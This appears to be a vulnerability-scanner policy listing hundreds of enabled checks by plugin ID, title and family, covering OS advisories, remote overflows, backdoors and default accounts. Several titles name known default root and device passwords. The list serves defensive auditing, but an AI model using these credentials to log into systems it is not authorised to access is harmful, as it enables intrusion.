enabled
11356
NFS Exported Share Information Disclosure
RPC
enabled
40562
MS09-043: Vulnerabilities in Microsoft Office Web Components Could Allow Remote Code Execution (957638)
Windows : Microsoft Bulletins
enabled
60180
Scientific Linux Security Update : samba on SL5.x, SL4.x, SL3.x i386/x86_64
Scientific Linux Local Security Checks
enabled
24745
Default Password (password) for 'root' Account
Default Unix Accounts
enabled
25067
RHEL 2.1 : php (RHSA-2007-0154)
Red Hat Local Security Checks
enabled
39578
FreeBSD : nagios -- Command Injection Vulnerability (3ebd4cb5-657f-11de-883a-00e0815b8da8)
FreeBSD Local Security Checks
enabled
52701
RHEL 4 / 5 / 6 : java-1.6.0-ibm (RHSA-2011-0357)
Red Hat Local Security Checks
enabled
63911
RHEL 5 : acroread (RHSA-2010-0037)
Red Hat Local Security Checks
enabled
51813
Symantec Alert Management System 2 Multiple Vulnerabilities (SYM11-002, SYM11-003)
Windows
enabled
53800
SuSE 11.2 Security Update: seamonkey (2011-04-29)
SuSE Local Security Checks
enabled
50386
SeaMonkey < 2.0.10 Buffer Overflow
Windows
enabled
53450
Adobe Acrobat 9.x / 10.x Multiple Vulnerabilities (APSB11-08)
Windows
enabled
18257
BakBone NetVault < 7.1.2 / 7.3.1 Multiple Remote Overflows
Gain a shell remotely
enabled
53474
Adobe AIR < 2.6.0.19140 ActionScript Predefined Class Prototype Addition Remote Code Execution (APSB11-07)
Windows
enabled
40765
RHEL 5 : kernel (RHSA-2009-1222)
Red Hat Local Security Checks
enabled
55524
Debian DSA-2273-1 : icedove - several vulnerabilities
Debian Local Security Checks
enabled
22441
HP-UX PHSS_33280 : HP OpenView Operations, Remote Unauthorized Access and Denial of Service (DoS) (HPSBMA02149 SSRT050968 rev.1)
HP-UX Local Security Checks
enabled
59846
IrfanView JPEG-2000 Plugin Remote Stack-based Buffer Overflow
Windows
enabled
57846
USN-1355-3 : ubufox and webfav update
Ubuntu Local Security Checks
enabled
39534
USN-792-1 : openssl vulnerabilities
Ubuntu Local Security Checks
enabled
49223
MS10-065: Vulnerabilities in Microsoft Internet Information Services (IIS) Could Allow Remote Code Execution (2267960)
Windows : Microsoft Bulletins
enabled
22903
Novell eDirectory iMonitor HTTP Protocol Stack (httpstk) Host HTTP Header Remote Overflow
CGI abuses
enabled
64169
SuSE 11.2 Security Update : OpenJDK (SAT Patch Number 6987)
SuSE Local Security Checks
enabled
62215
Mac OS X 10.8 < 10.8.2 Multiple Vulnerabilities
MacOS X Local Security Checks
enabled
38744
Mac OS X < 10.5.7 Multiple Vulnerabilities
MacOS X Local Security Checks
enabled
58729
Debian DSA-2450-1 : samba - privilege escalation
Debian Local Security Checks
enabled
57350
Plone Request Parsing Remote Command Execution
CGI abuses
enabled
57406
CentOS : RHSA-2011-1852
CentOS Local Security Checks
enabled
59684
HP Systems Insight Manager < 7.0 Multiple Vulnerabilities
Windows
enabled
25149
IBM Tivoli Provisioning Manager OS Deployment Multiple Stack Overflows
Web Servers
enabled
46261
HP-UX PHSS_40705 : s700_800 11.11 OV NNM7.01 Intermediate Patch 13
HP-UX Local Security Checks
enabled
33448
CentOS : RHSA-2008-0533
CentOS Local Security Checks
enabled
57262
SuSE 10 Security Update : wireshark (ZYPP Patch Number 7500)
SuSE Local Security Checks
enabled
40192
SuSE 11.1 Security Update: avahi (2008-12-18)
SuSE Local Security Checks
enabled
60879
Scientific Linux Security Update : seamonkey on SL3.x, SL4.x i386/x86_64
Scientific Linux Local Security Checks
enabled
11264
Default Password (wh00t!) for 'root' Account
Default Unix Accounts
enabled
27562
Mandrake Linux Security Advisory : hplip (MDKSA-2007:201)
Mandriva Local Security Checks
enabled
49259
SuSE 11.2 Security Update: tomcat6 (2010-07-19)
SuSE Local Security Checks
enabled
50408
RHEL 4 / 5 : thunderbird (RHSA-2010-0812)
Red Hat Local Security Checks
enabled
47035
USN-951-1 : samba vulnerability
Ubuntu Local Security Checks
enabled
58435
MS12-020: Vulnerabilities in Remote Desktop Could Allow Remote Code Execution (2671387) (uncredentialed check)
Windows
enabled
51645
HP OpenView Network Node Manager Remote Execution of Arbitrary Code (HPSBMA02621 SSRT100352)
CGI abuses
enabled
22114
RHEL 3 : seamonkey (RHSA-2006-0608)
Red Hat Local Security Checks
enabled
42828
RHEL 5 : java-1.6.0-openjdk (RHSA-2009-1584)
Red Hat Local Security Checks
enabled
47749
Apache Tomcat 5.5.x < 5.5.30
Web Servers
enabled
51086
SuSE 11 / 11.1 Security Update : Acrobat Reader (SAT Patch Numbers 3634 / 3636)
SuSE Local Security Checks
enabled
56579
RHEL 4 / 5 : httpd (RHSA-2011-1392)
Red Hat Local Security Checks
enabled
43599
SuSE9 Security Update : IBM Java 1.5.0 (YOU Patch Number 12564)
SuSE Local Security Checks
enabled
51693
SuSE 10 Security Update : Acrobat Reader (ZYPP Patch Number 6582)
SuSE Local Security Checks
enabled
44975
SuSE 11.0 Security Update: acroread (2010-02-25)
SuSE Local Security Checks
enabled
57956
RHEL 6 : java-1.6.0-openjdk (RHSA-2012-0135)
Red Hat Local Security Checks
enabled
34689
GLSA-200811-01 : Opera: Multiple vulnerabilities
Gentoo Local Security Checks
enabled
10798
Symantec pcAnywhere Service Unrestricted Access
Windows
enabled
56048
USN-1199-1 : apache2 vulnerability
Ubuntu Local Security Checks
enabled
59268
Fedora 17 : maniadrive-1.2-40.fc17 / php-5.4.3-1.fc17 (2012-7628)
Fedora Local Security Checks
enabled
39563
Timbuktu Pro < 8.6.7 PlughNTCommand Named Pipe Remote Stack Buffer Overflow
Windows
enabled
59463
Mac OS X : Java for Mac OS X 10.6 Update 9
MacOS X Local Security Checks
enabled
21041
PeerCast procConnectArgs() Function URL Handling Remote Overflow
Peer-To-Peer File Sharing
enabled
61550
Flash Player <= 11.3.300.270 Code Execution (APSB12-18)
Windows
enabled
59113
QuickTime < 7.7.2 Multiple Vulnerabilities (Windows)
Windows
enabled
53514
MS11-030: Vulnerability in DNS Resolution Could Allow Remote Code Execution (2509553) (remote check)
Windows
enabled
22137
CentOS : RHSA-2006-0610
CentOS Local Security Checks
enabled
19427
VERITAS Backup Exec Remote Agent Static Password Arbitrary File Download
Misc.
enabled
56384
USN-1224-1 : rsyslog vulnerability
Ubuntu Local Security Checks
enabled
46882
Unreal IRC Daemon Backdoor Detection
Backdoors
enabled
23720
HP-UX PHSS_35462 : s700_800 11.04 Virtualvault 4.6 OWS update
HP-UX Local Security Checks
enabled
56469
iTunes < 10.5 Multiple Vulnerabilities (credentialed check)
Windows
enabled
11208
Netscape Enterprise Default Administrative Password
CGI abuses
enabled
53601
CentOS : RHSA-2011-0474
CentOS Local Security Checks
enabled
44414
MS10-004: Vulnerabilities in Microsoft Office PowerPoint Could Allow Remote Code Execution (975416)
Windows : Microsoft Bulletins
enabled
15827
GLSA-200411-33 : TWiki: Arbitrary command execution
Gentoo Local Security Checks
enabled
53720
SuSE 11.2 Security Update: flash-player (2011-03-21)
SuSE Local Security Checks
enabled
53692
SuSE 11.2 Security Update: acroread (2010-12-06)
SuSE Local Security Checks
enabled
51179
Exim string_format Function Remote Overflow
SMTP problems
enabled
50916
SuSE 11 Security Update : IBM Java 6 (SAT Patch Number 2548)
SuSE Local Security Checks
enabled
20728
Lyris ListManager MSDE Weak sa Password
Windows
enabled
61733
TikiWiki unserialize() Function Arbitrary Code Execution
CGI abuses
enabled
35358
RHEL 5 : avahi (RHSA-2009-0013)
Red Hat Local Security Checks
enabled
53374
MS11-021 / MS11-022 / MS11-023: Vulnerabilities in Microsoft Office Could Allow Remote Code Execution (2489279 / 2489283 / 2489293) (Mac OS X)
MacOS X Local Security Checks
enabled
48231
RHEL 5 : tomcat5 (RHSA-2010-0580)
Red Hat Local Security Checks
enabled
11030
Apache Chunked Encoding Remote Overflow
Web Servers
enabled
47016
GLSA-201006-21 : UnrealIRCd: Multiple vulnerabilities
Gentoo Local Security Checks
enabled
51708
SuSE 10 Security Update : acroread_ja (ZYPP Patch Number 6584)
SuSE Local Security Checks
enabled
31328
GLSA-200803-01 : Adobe Acrobat Reader: Multiple vulnerabilities
Gentoo Local Security Checks
enabled
20273
Solaris 10 (sparc) : 121308-20
Solaris Local Security Checks
enabled
36033
SuSE Security Update: acoread security update (acroread-6120)
SuSE Local Security Checks
enabled
40342
RHEL 5 : tomcat (RHSA-2009-1164)
Red Hat Local Security Checks
enabled
20826
Winamp < 5.13 Playlist Handling Multiple Overflows
Windows
enabled
41592
SuSE 10 Security Update : Tomcat 5 (ZYPP Patch Number 6352)
SuSE Local Security Checks
enabled
62932
RHEL 6 : java-1.7.0-ibm (RHSA-2012-1467)
Red Hat Local Security Checks
enabled
25340
GLSA-200705-19 : PHP: Multiple vulnerabilities
Gentoo Local Security Checks
enabled
22149
RHEL 2.1 / 3 / 4 : libtiff (RHSA-2006-0603)
Red Hat Local Security Checks
enabled
26897
HP-UX PHSS_36901 : s700_800 11.X OV NNM7.51 PA-RISC Intermediate Patch 17
HP-UX Local Security Checks
enabled
14195
4D WebStar Pre-authentication FTP Overflow
FTP
enabled
22908
Debian DSA-1199-1 : webmin - multiple vulnerabilities
Debian Local Security Checks
enabled
16427
GLSA-200501-36 : AWStats: Remote code execution
Gentoo Local Security Checks
enabled
55130
MS11-050: Cumulative Security Update for Internet Explorer (2530548)
Windows : Microsoft Bulletins
enabled
40622
SSA-2009-230-01 : kernel
Slackware Local Security Checks
enabled
34168
SuSE Security Update: tomcat: fix for directory traversal vulnerability (tomcat55-5547)
SuSE Local Security Checks
enabled
21841
CentOS : RHSA-2005-564
CentOS Local Security Checks
enabled
18656
GLSA-200507-07 : phpWebSite: Multiple vulnerabilities
Gentoo Local Security Checks
enabled
64096
Movable Type mt-upgrade.cgi Remote Command Execution
CGI abuses
enabled
57609
Fedora 16 : maniadrive-1.2-32.fc16.1 / php-5.3.9-1.fc16 / php-eaccelerator-0.9.6.1-9.fc16.1 (2012-0504)
Fedora Local Security Checks
enabled
45543
RealNetworks Helix Server 11.x / 12.x / 13.x Multiple Vulnerabilities
Misc.
enabled
52590
Fedora 15 : wireshark-1.4.4-1.fc15 (2011-2648)
Fedora Local Security Checks
enabled
24118
Fedora Core 5 : spamassassin-3.1.3-1.fc5 (2006-598)
Fedora Local Security Checks
enabled
26154
HP-UX PHSS_36385 : HP OpenView Network Node Manager (OV NNM) Running Apache, Remote Cross Site Scripting (XSS), Denial of Service (DoS), Execute Arbitrary Code (HPSBMA02328 SSRT071293 rev.2)
HP-UX Local Security Checks
enabled
47572
SuSE 11.1 Security Update: cifs-mount (2010-06-13)
SuSE Local Security Checks
enabled
62890
QuickTime < 7.7.3 Multiple Vulnerabilities (Windows)
Windows
enabled
64017
RHEL 5 : krb5 (RHSA-2011-1853)
Red Hat Local Security Checks
enabled
42247
SuSE 11.1 Security Update: acroread (2009-10-22)
SuSE Local Security Checks
enabled
41414
SuSE 11 Security Update : Linux kernel (SAT Patch Numbers 1212 / 1218 / 1219)
SuSE Local Security Checks
enabled
50801
CentOS : RHSA-2010-0810
CentOS Local Security Checks
enabled
59685
IBM Lotus iNotes Upload Module ActiveX Control Attachment_Times() Method Buffer Overflow
Windows
enabled
12116
Default Password (swift) for 'swift' Account
Default Unix Accounts
enabled
47869
RHEL 4 / 5 : acroread (RHSA-2010-0503)
Red Hat Local Security Checks
enabled
61681
Oracle Java SE 7 < Update 7 Multiple Vulnerabilities
Windows
enabled
45474
USN-923-1 : openjdk-6 vulnerabilities
Ubuntu Local Security Checks
enabled
41289
SuSE9 Security Update : IBM Java2 JRE and SDK (YOU Patch Number 12387)
SuSE Local Security Checks
enabled
49863
SuSE 10 Security Update : IBM Java 1.5.0 (ZYPP Patch Number 6741)
SuSE Local Security Checks
enabled
60388
Scientific Linux Security Update : openoffice.org2 on SL4.5 and 4.6 i386/x86_64
Scientific Linux Local Security Checks
enabled
50639
RHEL 6 : flash-plugin (RHSA-2010-0867)
Red Hat Local Security Checks
enabled
43003
Mac OS X : Java for Mac OS X 10.6 Update 1
MacOS X Local Security Checks
enabled
12641
Pirelli AGE mB Router Default Password (microbusiness) for 'admin' Account
Misc.
enabled
39862
Fedora 10 : moin-1.6.4-3.fc10 (2009-7761)
Fedora Local Security Checks
enabled
25698
Mandrake Linux Security Advisory : wireshark (MDKSA-2007:145)
Mandriva Local Security Checks
enabled
27435
SuSE Security Update: seamonkey: Security update to version 1.0.4 (seamonkey-1952)
SuSE Local Security Checks
enabled
34404
MS08-059: Microsoft Host Integration Server (HIS) SNA RPC Request Remote Overflow (956695)
Windows : Microsoft Bulletins
enabled
10657
Microsoft IIS 5.0 Malformed HTTP Printer Request Header Remote Buffer Overflow
Web Servers
enabled
24403
Solaris 5.9 (sparc) : 120671-08
Solaris Local Security Checks
enabled
43872
SuSE 11 Security Update : IBM Java 1.6.0 (SAT Patch Number 1748)
SuSE Local Security Checks
enabled
27522
RealPlayer ActiveX (ierpplug.dll) Playlist Handling Buffer Overflow
Windows
enabled
57488
CentOS : RHSA-2012-0019
CentOS Local Security Checks
enabled
58764
SuSE 11.1 Security Update : Samba (SAT Patch Number 6124)
SuSE Local Security Checks
enabled
42318
SuSE Security Update: acoread security update (acroread-6588)
SuSE Local Security Checks
enabled
45386
VMSA-2010-0002 : VMware vCenter update release addresses multiple security issues in Java JRE
VMware ESX Local Security Checks
enabled
20560
USN-157-1 : mozilla-thunderbird vulnerabilities
Ubuntu Local Security Checks
enabled
24015
CA BrightStor ARCserve Backup Multiple Vulnerabilities (QO84983)
Windows
enabled
57149
SuSE 10 Security Update : Mozilla Firefox (ZYPP Patch Number 7596)
SuSE Local Security Checks
enabled
18928
FreeBSD : phpbb -- remote PHP code execution vulnerability (4afacca1-eb9d-11d9-a8bd-000cf18bbe54)
FreeBSD Local Security Checks
enabled
58718
RHEL 5 : tomcat5 (RHSA-2012-0474)
Red Hat Local Security Checks
enabled
36197
GLSA-200904-18 : udev: Multiple vulnerabilities
Gentoo Local Security Checks
enabled
58664
CentOS : RHSA-2012-0466
CentOS Local Security Checks
enabled
43843
RHEL 4 / 5 : java-1.5.0-ibm (RHSA-2009-0466)
Red Hat Local Security Checks
enabled
55141
Flash Player for Mac < 10.3.181.26 Remote Memory Corruption (APSB11-18)
MacOS X Local Security Checks
enabled
24911
MS07-017: Vulnerabilities in GDI Could Allow Remote Code Execution (925902)
Windows : Microsoft Bulletins
enabled
51367
Novell iPrint Client < 5.56 Multiple Vulnerabilities
Windows
enabled
43134
HP-UX PHSS_36588 : s700_800 11.X OV DP6.00 PA-RISC patch - CS packet
HP-UX Local Security Checks
enabled
56428
Mandriva Linux Security Advisory : apache (MDVSA-2011:144)
Mandriva Local Security Checks
enabled
64261
Default Password (openelec) for 'root' Account
Default Unix Accounts
enabled
18142
Intersoft NetTerm Netftpd USER Command Remote Overflow
FTP
enabled
13633
Solaris 9 (x86) : 116808-02
Solaris Local Security Checks
enabled
16189
AWStats awstats.pl configdir Parameter Arbitrary Command Execution
CGI abuses
enabled
60026
Apple iOS < 5.0 Multiple Vulnerabilities
Mobile Devices
enabled
64147
SuSE 11.1 Security Update : Gimp (SAT Patch Number 6542)
SuSE Local Security Checks
enabled
10469
ipop2d fold Command Arbitrary File Access
Misc.
enabled
51751
SuSE 10 Security Update : Sun Java 1.6.0 (ZYPP Patch Number 7204)
SuSE Local Security Checks
enabled
10827
SysV /bin/login Environment Remote Overflow (telnet check)
Gain a shell remotely
enabled
55764
QuickTime < 7.7 Multiple Vulnerabilities (Windows)
Windows
enabled
42244
SuSE 11.0 Security Update: acroread (2009-10-22)
SuSE Local Security Checks
enabled
50378
USN-1011-1 : firefox, firefox-3.0, firefox-3.5 vulnerability
Ubuntu Local Security Checks
enabled
52672
Adobe Reader 9.x / 10.x Unspecified Memory Corruption (APSB11-06)
Windows
enabled
51850
HP OpenView Performance Insight Server Backdoor Account
CGI abuses
enabled
19387
CA BrightStor ARCserve Backup Agent for Windows Long String Overflow
Windows
enabled
47164
Adobe Acrobat < 9.3.3 / 8.2.3 Multiple Vulnerabilities (APSB10-15)
Windows
enabled
53387
MS11-030: Vulnerability in DNS Resolution Could Allow Remote Code Execution (2509553)
Windows : Microsoft Bulletins
enabled
21227
PAJAX < 0.5.2 Multiple Vulnerabilities
CGI abuses
enabled
61160
Scientific Linux Security Update : httpd on SL4.x, SL5.x i386/x86_64
Scientific Linux Local Security Checks
enabled
57279
MS11-093: Vulnerability in OLE Could Allow Remote Code Execution (2624667)
Windows : Microsoft Bulletins
enabled
22163
CentOS : RHSA-2006-0609
CentOS Local Security Checks
enabled
63940
RHEL 4 / 5 : jboss-seam2 (RHSA-2010-0564)
Red Hat Local Security Checks
enabled
25168
MS07-029: Vulnerability in Windows DNS RPC Interface Could Allow Remote Code Execution (935966)
Windows : Microsoft Bulletins
enabled
63687
Google Doc Embedder Plugin for WordPress File Parameter Traversal Arbitrary File Disclosure
CGI abuses
enabled
36182
SuSE Security Update: udev: Fixed local privilege escalation (libudev-devel-6158)
SuSE Local Security Checks
enabled
42455
RHEL 4 / 5 : java-1.5.0-sun (RHSA-2009-1571)
Red Hat Local Security Checks
enabled
11168
Samba Encrypted Password String Conversion Decryption Overflow
Gain a shell remotely
enabled
47150
VMSA-2010-0010 : ESX 3.5 third party update for Service Console kernel
VMware ESX Local Security Checks
enabled
56481
Mac OS X Multiple Vulnerabilities (Security Update 2011-006)
MacOS X Local Security Checks
enabled
23644
MS06-067: Cumulative Security Update for Internet Explorer (922760)
Windows : Microsoft Bulletins
enabled
57148
SuSE 10 Security Update : Mozilla Firefox (ZYPP Patch Number 7490)
SuSE Local Security Checks
enabled
11554
BadBlue ISAPI Extension .hts Crafted File Extension Request Authentication Bypass
Web Servers
enabled
56032
RHEL 4 / 5 / 6 : httpd (RHSA-2011-1245)
Red Hat Local Security Checks
enabled
20000
MS05-047: Vulnerability in Plug and Play Could Allow Remote Code Execution and Local Elevation of Privilege (905749)
Windows : Microsoft Bulletins
enabled
40355
Default Password (admin) for 'root' Account
Default Unix Accounts
enabled
50901
SuSE 11 / 11.1 Security Update : flash-player (SAT Patch Numbers 2539 / 2541)
SuSE Local Security Checks
enabled
18021
MS05-017: Vulnerability in MSMQ Could Allow Code Execution (892944)
Windows : Microsoft Bulletins
enabled
53337
JBoss Enterprise Application Platform '/jmx-console' Authentication Bypass
Web Servers
enabled
50453
Debian DSA-2124-1 : xulrunner - several vulnerabilities
Debian Local Security Checks
enabled
38734
Microsoft Whale Client Components ActiveX (WhlMgr.dll) Multiple Method Overflows
Windows
enabled
62311
KeyWorks KeyHelp ActiveX Control Multiple Vulnerabilities
Windows
enabled
18262
TFTP Traversal Arbitrary File Access
Misc.
enabled
61559
RHEL 6 : flash-plugin (RHSA-2012-1173)
Red Hat Local Security Checks
enabled
58482
Cisco Linksys PlayerPT ActiveX SetSource() Method base64string Argument Parsing Remote Overflow
Windows
enabled
43822
SuSE 10 Security Update : IBM Java 1.5.0 (ZYPP Patch Number 6740)
SuSE Local Security Checks
enabled
21193
MS05-047: Plug and Play Remote Code Execution and Local Privilege Elevation (905749) (uncredentialed check)
Windows
enabled
22436
HP-UX PHSS_32423 : HP OpenView Operations, Remote Unauthorized Access and Denial of Service (DoS) (HPSBMA02149 SSRT050968 rev.1)
HP-UX Local Security Checks
enabled
61264
Scientific Linux Security Update : java-1.6.0-openjdk on SL5.x i386/x86_64
Scientific Linux Local Security Checks
enabled
42996
Mandriva Linux Security Advisory : openssl (MDVSA-2009:310)
Mandriva Local Security Checks
enabled
15704
SlimFTPd Multiple Command Handling Overflow
FTP
enabled
57772
SeaMonkey 2.x < 2.7.0 Multiple Vulnerabilities
Windows
enabled
51658
GLSA-201101-09 : Adobe Flash Player: Multiple vulnerabilities
Gentoo Local Security Checks
enabled
50460
SuSE 11.1 Security Update: MozillaFirefox (2010-10-28)
SuSE Local Security Checks
enabled
18413
Allied Telesyn Router/Switch Web Interface Default Password
Web Servers
enabled
60312
Scientific Linux Security Update : wireshark on SL4.x i386/x86_64
Scientific Linux Local Security Checks
enabled
57484
Adobe Reader < 10.1.2 / 9.5 Multiple Vulnerabilities (APSB12-01)
Windows
enabled
47900
Apache Struts2 / XWork Remote Code Execution (safe check)
CGI abuses
enabled
61252
Scientific Linux Security Update : java-1.6.0-sun on SL4.x, SL5.x i386/x86_64
Scientific Linux Local Security Checks
enabled
11261
Default Password (D13HH[) for 'root' Account
Default Unix Accounts
enabled
21574
FreeBSD : vnc -- authentication bypass vulnerability (4645b98c-e46e-11da-9ae7-00123fcc6e5c)
FreeBSD Local Security Checks
enabled
56936
Fedora 15 : phpldapadmin-1.2.1.1-2.20111006git.fc15 (2011-14993)
Fedora Local Security Checks
enabled
20546
USN-149-3 : mozilla-firefox vulnerabilities
Ubuntu Local Security Checks
enabled
57770
Mozilla Thunderbird 9.x Multiple Vulnerabilities
Windows
enabled
41443
SuSE 11 Security Update : OpenSSL (SAT Patch Number 990)
SuSE Local Security Checks
enabled
63185
NetIQ Privileged User Manager ldapagnt_eval() Function Remote Code Execution (version check)
CGI abuses
enabled
48264
VxWorks WDB Debug Service Detection
RPC
enabled
63563
Nagios Core history.cgi Multiple Parameter Buffer Overflow
CGI abuses
enabled
22586
Debian DSA-1044-1 : mozilla-firefox - several vulnerabilities
Debian Local Security Checks
enabled
50887
SuSE 11 / 11.1 Security Update : acroread_ja (SAT Patch Numbers 3004 / 3005)
SuSE Local Security Checks
enabled
34491
Husdawg System Requirements Lab Multiple ActiveX Remote Code Execution
Windows
enabled
45107
SuSE 10 Security Update : MySQL (ZYPP Patch Number 6897)
SuSE Local Security Checks
enabled
21588
USN-285-1 : awstats vulnerability
Ubuntu Local Security Checks
enabled
19146
FreeBSD : phpbb -- arbitrary command execution and other vulnerabilities (e3cf89f0-53da-11d9-92b7-ceadd4ac2edd)
FreeBSD Local Security Checks
enabled
11244
Unpassworded 'OutOfBox' Account
Default Unix Accounts
enabled
59481
CentOS : RHSA-2012-0730
CentOS Local Security Checks
enabled
41596
SuSE 10 Security Update : Websphere Community Edition (ZYPP Patch Number 5850)
SuSE Local Security Checks
enabled
11256
Default Password (guest) for 'guest' Account
Default Unix Accounts
enabled
21672
RHEL 4 : spamassassin (RHSA-2006-0543)
Red Hat Local Security Checks
enabled
63223
freeFTPd / freeSSHd SFTP Authentication Bypass
Gain a shell remotely
enabled
48757
USN-976-1 : tomcat6 vulnerability
Ubuntu Local Security Checks
enabled
16395
GLSA-200501-04 : Shoutcast Server: Remote code execution
Gentoo Local Security Checks
enabled
40800
Adobe Acrobat < 8.1.2 / 7.1.0 Multiple Vulnerabilities
Windows
enabled
49260
QuickTime < 7.6.8 Multiple Vulnerabilities (Windows)
Windows
enabled
58988
PHP < 5.3.12 / 5.4.2 CGI Query String Code Execution
CGI abuses
enabled
35306
SuSE Security Update: java-1_6_0-sun security update (java-1_6_0-sun-5876)
SuSE Local Security Checks
enabled
53651
SuSE 11.1 Security Update: acroread (2010-12-06)
SuSE Local Security Checks
enabled
15857
WS_FTP Server Multiple Command Remote Overflow DoS
FTP
enabled
43770
CentOS : RHSA-2009-1164
CentOS Local Security Checks
enabled
47426
Fedora 13 : java-1.6.0-openjdk-1.6.0.0-37.b17.fc13 (2010-6279)
Fedora Local Security Checks
enabled
63660
Fedora 17 : nagios-3.4.4-1.fc17 (2013-0753)
Fedora Local Security Checks
enabled
64260
Default Password (raspberry) for 'pi' Account
Default Unix Accounts
enabled
57761
RHEL 6 : thunderbird (RHSA-2012-0080)
Red Hat Local Security Checks
enabled
16265
Berlios gpsd gpsd_report() Function Format String
Gain a shell remotely
enabled
40445
SuSE 11.1 Security Update: nagios (2009-07-15)
SuSE Local Security Checks
enabled
46881
SuSE 11.2 Security Update: flash-player (2010-06-11)
SuSE Local Security Checks
enabled
43126
Fedora 10 : ntp-4.2.4p7-2.fc10 (2009-13121)
Fedora Local Security Checks
enabled
42806
Fedora 10 : java-1.6.0-openjdk-1.6.0.0-23.b16.fc10 (2009-11490)
Fedora Local Security Checks
enabled
21580
freeSSHd Key Exchange Algorithm String Remote Overflow
Gain a shell remotely
enabled
55488
Debian DSA-2268-1 : iceweasel - several vulnerabilities
Debian Local Security Checks
enabled
29576
SuSE 10 Security Update : Samba (ZYPP Patch Number 3351)
SuSE Local Security Checks
enabled
13703
Fedora Core 2 : subversion-1.0.2-2.1 (2004-128)
Fedora Local Security Checks
enabled
16200
phpBB < 2.0.11 Multiple Vulnerabilities
CGI abuses
enabled
31122
SAPlpd < 6.29 Multiple Vulnerabilities (credentialed check)
Windows
enabled
63929
RHEL 4 : JBoss EAP (RHSA-2010-0377)
Red Hat Local Security Checks
enabled
55805
Adobe AIR < 2.7.1 Multiple Vulnerabilities (APSB11-21)
Windows
enabled
50811
FTP Server Traversal Arbitrary File Access (RETR)
FTP
enabled
39790
Adobe ColdFusion FCKeditor 'CurrentFolder' File Upload
CGI abuses
enabled
44416
MS10-006: Vulnerabilities in SMB Client Could Allow Remote Code Execution (978251)
Windows : Microsoft Bulletins
enabled
55763
QuickTime < 7.7 Multiple Vulnerabilities (Mac OS X)
MacOS X Local Security Checks
enabled
30200
Adobe Reader < 7.1.0 / 8.1.2 Multiple Vulnerabilities
Windows
enabled
10180
Ping the remote host
Port scanners
enabled
45454
SuSE 11.0 Security Update: java-1_6_0-sun (2010-03-31)
SuSE Local Security Checks
enabled
11755
CesarFTP Multiple Vulnerabilities (OF, File Access, more)
FTP
enabled
58765
SuSE 10 Security Update : Samba (ZYPP Patch Number 8058)
SuSE Local Security Checks
enabled
38985
iTunes < 8.2 itms: URI Handling Overflow (credentialed check)
Windows
enabled
42923
SuSE 11.1 Security Update: java-1_6_0-openjdk (2009-11-25)
SuSE Local Security Checks
enabled
41312
SuSE9 Security Update : ruby (YOU Patch Number 12452)
SuSE Local Security Checks
enabled
53472
Flash Player < 10.2.159.1 ActionScript Predefined Class Prototype Addition Remote Code Execution (APSB11-07)
Windows
enabled
40715
RHEL 3 / 4 / 5 : acroread (RHSA-2008-0144)
Red Hat Local Security Checks
enabled
55114
USN-1148-1 : libmodplug vulnerabilities
Ubuntu Local Security Checks
enabled
51739
SuSE 10 Security Update : flash-player (ZYPP Patch Number 7223)
SuSE Local Security Checks
enabled
22165
GLSA-200608-07 : libTIFF: Multiple vulnerabilities
Gentoo Local Security Checks
enabled
43138
HP-UX PHSS_36799 : s700_800 11.X OV DP5.50 PA RISC patch - CS packet
HP-UX Local Security Checks
enabled
12513
Default Password (12345678) for 'root' Account on MacOS X Server
Default Unix Accounts
enabled
53642
CentOS : RHSA-2011-0477
CentOS Local Security Checks
enabled
19210
GLSA-200507-14 : Mozilla Firefox: Multiple vulnerabilities
Gentoo Local Security Checks
enabled
33141
Novell GroupWise Messenger Client < 2.0.3 HP1 Multiple Remote Overflows
Windows
enabled
43777
CentOS : RHSA-2009-1222
CentOS Local Security Checks
enabled
50463
SuSE 11.1 Security Update: seamonkey (2010-10-28)
SuSE Local Security Checks
enabled
53603
Debian DSA-2228-1 : iceweasel - several vulnerabilities
Debian Local Security Checks
enabled
22600
Debian DSA-1058-1 : awstats - missing input sanitising
Debian Local Security Checks
enabled
50593
Fedora 14 : tomcat6-6.0.26-14.fc14 (2010-16528)
Fedora Local Security Checks
enabled
62214
Mac OS X 10.7 < 10.7.5 Multiple Vulnerabilities
MacOS X Local Security Checks
enabled
29512
SuSE 10 Security Update : libtiff (ZYPP Patch Number 1908)
SuSE Local Security Checks
enabled
57412
Mandriva Linux Security Advisory : krb5-appl (MDVSA-2011:195)
Mandriva Local Security Checks
enabled
47594
IIS 5.x Alternate Data Stream Authentication Bypass
CGI abuses
enabled
20556
USN-155-1 : mozilla vulnerabilities
Ubuntu Local Security Checks
enabled
63607
Scientific Linux Security Update : java-1.7.0-openjdk on SL5.x, SL6.x i386/x86_64
Scientific Linux Local Security Checks
enabled
31183
FreeBSD : coppermine -- multiple vulnerabilities (9f581778-e3d4-11dc-bb89-000bcdc1757a)
FreeBSD Local Security Checks
enabled
32153
GLSA-200805-05 : Wireshark: Denial of Service
Gentoo Local Security Checks
enabled
57442
Fedora 15 : krb5-appl-1.0.1-8.fc15 (2011-17492)
Fedora Local Security Checks
enabled
42373
Sun Java JRE Multiple Vulnerabilities (269868 / 269869 / 270476 ..)
Windows
enabled
14970
Debian DSA-133-1 : apache-perl - remote DoS / exploit
Debian Local Security Checks
enabled
12205
MS04-011: Microsoft Hotfix (credentialed check) (835732)
Windows : Microsoft Bulletins
enabled
53212
Debian DSA-2207-1 : tomcat5.5 - several vulnerabilities
Debian Local Security Checks
enabled
64170
SuSE 11.2 Security Update : IBM Java (SAT Patch Number 6839)
SuSE Local Security Checks
enabled
59452
USN-1467-1 : mysql-5.1, mysql-5.5, mysql-dfsg-5.0, mysql-dfsg-5.1 vulnerabilities
Ubuntu Local Security Checks
enabled
22122
RHEL 4 : thunderbird (RHSA-2006-0611)
Red Hat Local Security Checks
enabled
57778
CentOS : RHSA-2012-0080
CentOS Local Security Checks
enabled
50604
Adobe AIR < 2.5.1 Multiple Vulnerabilities (APSB10-26)
Windows
enabled
21673
SpamAssassin spamd Crafted Message Arbitrary Command Execution
Gain a shell remotely
enabled
18607
GLSA-200507-03 : phpBB: Arbitrary command execution
Gentoo Local Security Checks
enabled
51715
SuSE 10 Security Update : acroread_ja (ZYPP Patch Number 7182)
SuSE Local Security Checks
enabled
62709
USN-1619-1 : openjdk-6, openjdk-7 vulnerabilities
Ubuntu Local Security Checks
enabled
43857
SuSE 11 Security Update : IBM Java 1.4.2 (SAT Patch Number 1744)
SuSE Local Security Checks
enabled
29577
SuSE 10 Security Update : Samba (ZYPP Patch Number 3829)
SuSE Local Security Checks
enabled
51714
SuSE 10 Security Update : acroread_ja (ZYPP Patch Number 7132)
SuSE Local Security Checks
enabled
